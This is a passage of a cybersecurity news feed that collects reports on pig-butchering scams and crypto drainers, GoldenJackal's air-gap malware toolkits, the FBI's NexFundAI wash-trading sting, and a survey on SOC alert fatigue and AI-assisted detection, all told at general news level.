Drainers can be used in many contexts and with many fronts. They can be a component of pig butchering investment scams, or promoted to potential victims through compromised social media accounts, phishing campaigns, and malvertizing. Researchers from the firm ScamSniffer, for example, published findings in December about sponsored social media and search engine ads linked to malicious websites that contained a cryptocurrency drainer. The campaign, which ran from March to December 2023 reportedly stole about $59 million from more than 63,000 victims around the world.

Far from the low-tech days of doing everything through social engineering by building a rapport with potential victims and crafting tricky emails and text messages, today’s scammers are taking a hybrid approach to make their operations as efficient and lucrative as possible, UN researchers say. And even if they aren’t developing sophisticated malware themselves in most cases, scammers are increasingly in the market to use these malicious tools, prompting malware authors to adapt or create hacking tools for scams like pig butchering.

Researchers say that scammers have been seen using infostealers and even remote access trojans that essentially create a backdoor in a victim’s system that can be utilized in other types of attacks. And scammers are also expanding their use of malicious smart contracts that appear to programmatically establish a certain agreed-upon transaction or set of transactions, but actually does much more. “Infostealer logs and underground data markets have also been critical to ongoing market expansion, with access to unprecedented amounts of sensitive data serving as a major catalyst,” Wojcik, from the UNODC, says.

The changing tactics are significant as global law enforcement scrambles to deter digital scamming. But they are just one piece of the larger picture, which is increasingly urgent and bleak for forced laborers and victims of these crimes.

“It is now increasingly clear that a potentially irreversible displacement and spillover has taken place in which organized crime are able to pick, choose, and move value and jurisdictions as needed, with the resulting situation rapidly outpacing the capacity of governments to contain it,” UN officials wrote in the report. “Failure to address this ecosystem will have consequences for Southeast Asia and other regions.”

Pig Butchering Scams Are Going High Tech

It's hard enough creating one air-gap-jumping tool. Researchers say the group GoldenJackal did it twice in five years.

Researchers have unearthed two sophisticated tool sets that a nation-state hacking group—possibly from Russia—used to steal sensitive data stored on air-gapped devices, meaning those that are deliberately isolated from the internet or other networks to safeguard them from malware.

One of the custom tool collections was used starting in 2019 against a South Asian embassy in Belarus. A largely different tool set created by the same threat group infected a European Union government organization three years later. Researchers from ESET, the security firm that discovered the toolkits, said some of the components in both were identical to those fellow security firm Kaspersky described in research published last year and attributed to an unknown group, tracked as GoldenJackal, working for a nation-state. Based on the overlap, ESET has concluded that the same group is behind all the attacks observed by both firms.

**Quite Unusual**

The practice of air gapping is typically reserved for the most sensitive networks or devices connected to them, such as those used in systems for voting, industrial control, manufacturing, and power generation. A host of malware used in espionage hacking over the past 15 years (for instance, here and here) demonstrate that air gapping isn’t a foolproof protection. It nonetheless forces threat groups to expend significant resources that are likely obtainable only by nation-states with superior technical acumen and unlimited budgets. ESET’s discovery puts GoldenJackal in a highly exclusive collection of threat groups.

“With the level of sophistication required, it is quite unusual that in five years, GoldenJackal managed to build and deploy not one but two separate tool sets designed to compromise air-gapped systems,” ESET researcher Matías Porolli wrote in Tuesday’s report. “This speaks to the resourcefulness of the group.”

The evolution of the kit from 2019 and the one from three years later underscores a growing sophistication by GoldenJackal developers. The first generation provided a full suite of capabilities, including:

*   GoldenDealer, a component that delivers malicious executables to air-gapped systems over USB drives
*   GoldenHowl, a backdoor that contains various modules for a mix of malicious capabilities
*   GoldenRobo, a file collector and exfiltrator

Within a few weeks of deploying the kit in 2019, ESET said, GoldenJackal started using other tools on the same compromised devices. The newer tools, which Kaspersky documented in its 2023 research, included:

*   A backdoor tracked under the name JackalControl
*   JackalSteal, a file collector and exfiltrator
*   JackalWorm, used to propagate other JackalControl and other malicious components over USB drives

GoldenJackal, ESET said, continued using these tools into January of this year. The basic flow of the attack is, first, infecting an internet-connected device through a means ESET and Kaspersky have been unable to determine. Next, the infected computer infects any external drives that get inserted. When the infected drive is plugged into an air-gapped system, it collects and stores data of interest. Last, when the drive is inserted into the internet-connected device, the data is transferred to an attacker-controlled server.

**Building a Better Trap**

In the 2022 attack on the European Union governmental organization, GoldenJackal began using a new custom toolkit. Written in multiple programming languages, including Go and Python, the newer version took a much more specialized approach. It assigned different tasks to different types of infected devices and marshaled a much larger array of modules, which could be mixed and matched based on the attacker objects for different infections.

“In the observed attacks, GoldenJackal started to use a highly modular approach, using various components to perform different tasks,” ESET’s Porolli wrote. “Some hosts were abused to exfiltrate files, others were used as local servers to receive and distribute staged files or configuration files, and others were deemed interesting for file collection, for espionage purposes.”

The figure below classifies some of the components specifically:

*   GoldenUsbCopy, which monitors for the insertion of USB drives on air-gapped devices and, when found, copies them to an encrypted container that is stored on disk
*   GoldenUsbGo, which appears to be an updated version of GoldenUSBCopy
*   GoldenAce, a distribution tool for propagating other malicious executables and retrieving files stored on USB drives
*   HTTP server, an HTTP server whose precise function isn’t well understood
*   ​​GoldenBlacklist, which downloads an encrypted archive from a local server, sifts through received email messages for those of interest, and puts them in an archive for some other component to exfiltrate
*   GoldenPyBlacklist, a Python implementation of GoldenBlacklist
*   GoldenMailer, which, when connected to an internet device, exfiltrates files of interest previously stolen from an air-gapped device. The exfiltration occurs by attaching them to emails sent to an attacker-controlled email address
*   GoldenDrive, a separate exfiltration tool that, in contrast to GoldenMailer, uploads files of interest to Google Drive.

The newly discovered toolkit is composed of many different building blocks, written in multiple languages and capabilities. The overall goal appears to be increased flexibility and resiliency in the event one module is detected by the target.

“Their goal is to get hard to obtain data from air-gapped systems and stay under the radar as much as possible,” Costin Raiu, a researcher who worked at Kaspersky at the time it was researching GoldenJackal, wrote in an interview. “Multiple exfiltration mechanisms indicate a very flexible tool kit that can accommodate all sorts of situations. These many tools indicate it’s a highly customizable framework where they deploy exactly what they need as opposed to a multi purpose malware that can do anything.”

Other new insights offered by the ESET research is GoldenJackal’s interest in targets located in Europe. Kaspersky researchers detected the group targeting Middle Eastern countries.

Based on the information that was available to Kaspersky, company researchers couldn’t attribute GoldenJackal to any specific country. ESET has also been unable to definitively identify the country, but it did find one hint that the threat group may have a tie to Turla, a potent hacking group working on behalf of Russia’s FSB intelligence agency. The tie comes in the form of command-and-control protocol in GoldenHowl referred to as transport\_http. The same expression is found in malware known to originate with Turla.

Raiu said the highly modular approach is also reminiscent of Red October, an elaborate espionage platform discovered in 2013 targeting hundreds of diplomatic, governmental, and scientific organizations in at least 39 countries, including the Russian Federation, Iran, and the United States.

While much of Tuesday’s report contains technical analysis that is likely to be too advanced for many people to understand, it provides important new information that furthers insights into malware designed to jump air gaps and the tactics, techniques, and procedures of those who use it. The report will also be useful to people responsible for safeguarding the types of organizations most frequently targeted by nation-state groups.

“I’d say this is mostly interesting for security people working in embassies and government CERTs,” Raiu said. “They need to check for these TTPs and keep an eye on them in the future. If you were previously a victim of Turla or Red October I’d keep an eye on this.”

_This story originally appeared on_ _Ars Technica._

A Mysterious Hacking Group Has 2 New Tools to Steal Data From Air-Gapped Machines

The U.S. Department of Justice (DoJ) has announced arrests and charges against several individuals and entities in connection with allegedly manipulating digital asset markets as part of a widespread fraud operation.
The law enforcement action – codenamed Operation Token Mirrors – is the result of the U.S. Federal Bureau of Investigation (FBI) taking the "unprecedented step" of creating its own

Cryptocurrency / Cybercrime

The U.S. Department of Justice (DoJ) has announced arrests and charges against several individuals and entities in connection with allegedly manipulating digital asset markets as part of a widespread fraud operation.

The law enforcement action – codenamed **Operation Token Mirrors** – is the result of the U.S. Federal Bureau of Investigation (FBI) taking the "unprecedented step" of creating its own cryptocurrency token and company called NexFundAI.

NexFundAI, as per information on the website, was marketed as redefining the "intersection between finance and artificial intelligence" and that its aim was to "create a cryptocurrency token that not only serves as a secure store of value but also acts as a catalyst for positive change in the world of AI."

"Three market makers — ZM Quant, CLS Global, and MyTrade — along with their employees are charged with allegedly wash trading and/or conspiring to wash trade on behalf of NexFundAI, a cryptocurrency company and token created at the direction of law enforcement as part of the government's investigation," the DoJ said.

"A fourth market maker, Gotbit, its CEO, and two of its directors are also charged for perpetrating a similar scheme."

A total of 18 people and entities have been ensnared in the investigation's net, out of which five defendants have either pleaded guilty or agreed to plead guilty. Three other defendants have been arrested in the U.S. state of Texas, the U.K., and Portugal.

More than $25 million in cryptocurrency has also been confiscated and multiple trading bots behind wash trading (aka round trip trading), which refers to the illegal practice of buying and selling the same financial instruments to create artificial market activity, for about 60 different cryptocurrencies have been disabled.

Court documents allege that the defendants behind the cryptocurrency companies executed bogus trades using their own tokens to give the impression that they are good investments in an attempt to attract new investors and purchasers, thereby synthetically inflating the tokens' trading prices.

The individuals then sold their tokens at the new prices, a fraudulent scheme known as pump-and-dump, in order to illegally profit from the financial crime.

The following individuals and cryptocurrency firms have been charged -

*   Aleksei Andriunin, Fedor Kedrov, Qawi Jalili, Gotbit Consulting LLC (Gotbit)
*   Riqui Liu, Baijun Ou, ZM Quant Investment LTD (ZM Quant)
*   Andrey Zhorzhes, CLS Global FZC, LLC (CLS)
*   Liu Zhou, MyTrade MM
*   Manpreet Kohli, Haroon Mohsini, Nam Tran, Max Hernandez, Russell Armand, Vy Pham, Saitama LLC (Saitama)
*   Robo Inu Finance (Robo Inu)
*   Michael Thompson, VZZN, and
*   Bradley Beatty, Lillian Finance LLC (Lillian Finance)

"Today's enforcement actions demonstrate, once more, that retail investors are being victimized by fraudulent activity by institutional actors in the markets for crypto assets," Sanjay Wadhwa, deputy director of the SEC's Division of Enforcement, said.

"With purported promoters and self-anointed market makers teaming up to target the investing public with false promises of profits in the crypto markets, investors should be mindful that the deck may be stacked against them."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

FBI Creates Fake Cryptocurrency to Expose Widespread Crypto Market Manipulation

Threat detection tools yield too many false positives, security pros say, leading to burnout and resentment.

Source: ZUMA Press, Inc. via Alamy Stock Photo

Security operations center (SOC) practitioners are struggling, thanks to an overwhelming volume of false alarms from their security tools.

A Vectra survey of hundreds of cybersecurity professionals revealed a serious gripe that SOC teams have with their software vendors. The overwhelming volume of false positives their tools yield is causing burnout, they say, and allowing real threats to slip through the noise.

"There wasn't that much of a change from last year's results, and honestly it wasn't much of a surprise," says Mark Wojtasiak, vice president of research and strategy at Vectra AI. "SOC practitioners are clearly still frustrated with threat detection tools. And, really, what the data tells us is that, more than a threat detection problem, SOC teams have an attack signal problem. The promise of consolidation and platformization have yet to take hold, and what SOC teams really need is an accurate attack signal."

**What Does the SOCs Say? Ding Ding Ding**

SOCs ingest an average of 3,832 security alerts per day. For a sense of just how unmanageable that might be, consider that an average SOC might be staffed by a few dozen people, or just a few, depending on the size of the organization and its investment in security.

The result: 81% of SOC staffers spend at least two hours a day simply sifting through and triaging security alerts. It's no wonder, then, that 54% of Vectra respondents said that, rather than making their lives easier, the tools they work with increase their daily workloads, and that 62% of security alerts ultimately just get ignored.

Of course, SOC operators are aware of the implications of ignored security warnings. A full 71% reported worrying every week that they'll miss an attack buried in a flood of less important alerts. And 50% went so far as to say that their threat detection tools are "more hindrance than help" in spotting real attacks.

The conflict between what operators are dealing with, and what they can handle, is fostering genuine resentment toward vendors. Around 60% of respondents reported that they've been buying security software mostly just to tick a compliance box, and 47% don't trust these programs outright. A similar percentage (62%) believe that vendors are intentionally, cynically flooding them with alerts so that when a breach occurs, they're more likely to be able to say: We warned you!

A majority (71%) of SOC practitioners say that vendors need to take more responsibility in failing to prevent breaches.

**How AI Can Make SOCs More Efficient**

The most attainable, practical promise of artificial intelligence (AI) is that it will reduce the tedium associated with repetitive jobs, and bolster productivity. And more so than most, SOC staffers stand to benefit from exactly that.

In fact, Wojtasiak says, AI is the path to a whole mindset shift. "Security thinks in terms of individual attack surfaces: I have a network, endpoints, identities, email, now generative AI (GenAI). OK. I'm going to go buy tools to do threat detection across those siloed attack surfaces, then ask a human being to make sense of it all. That's how security thinking has fundamentally been for the past 10 years," he says.

"Modern attackers," he continues, "just see one, giant attack surface that they can move around in. So why isn't security thinking the same way? Why aren't we looking at threats holistically across the entire attack surface, using AI to piece together detections that are indicative of attacker behavior, correlating those detections, and then giving one integrated signal to the SOC analyst?"

Plenty of SOCs are already starting to do just that. About 67% of Vectra survey respondents found that AI is already improving their ability to identify and defend against threats, and 73% claimed that that's helped ease their feelings of burnout. Nearly nine in 10 respondents have already boosted their investments in AI, and are planning to go further.

"I'm \[already\] hearing about the positive outcomes they're experiencing as they introduce these new tools — reduced workloads, less burnout, and less sprawl," Wojtasiak reports. "The hope is that current frustrations will ease as siloed legacy tools are replaced by AI-powered tools capable of delivering an accurate attack signal."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Tag

#intel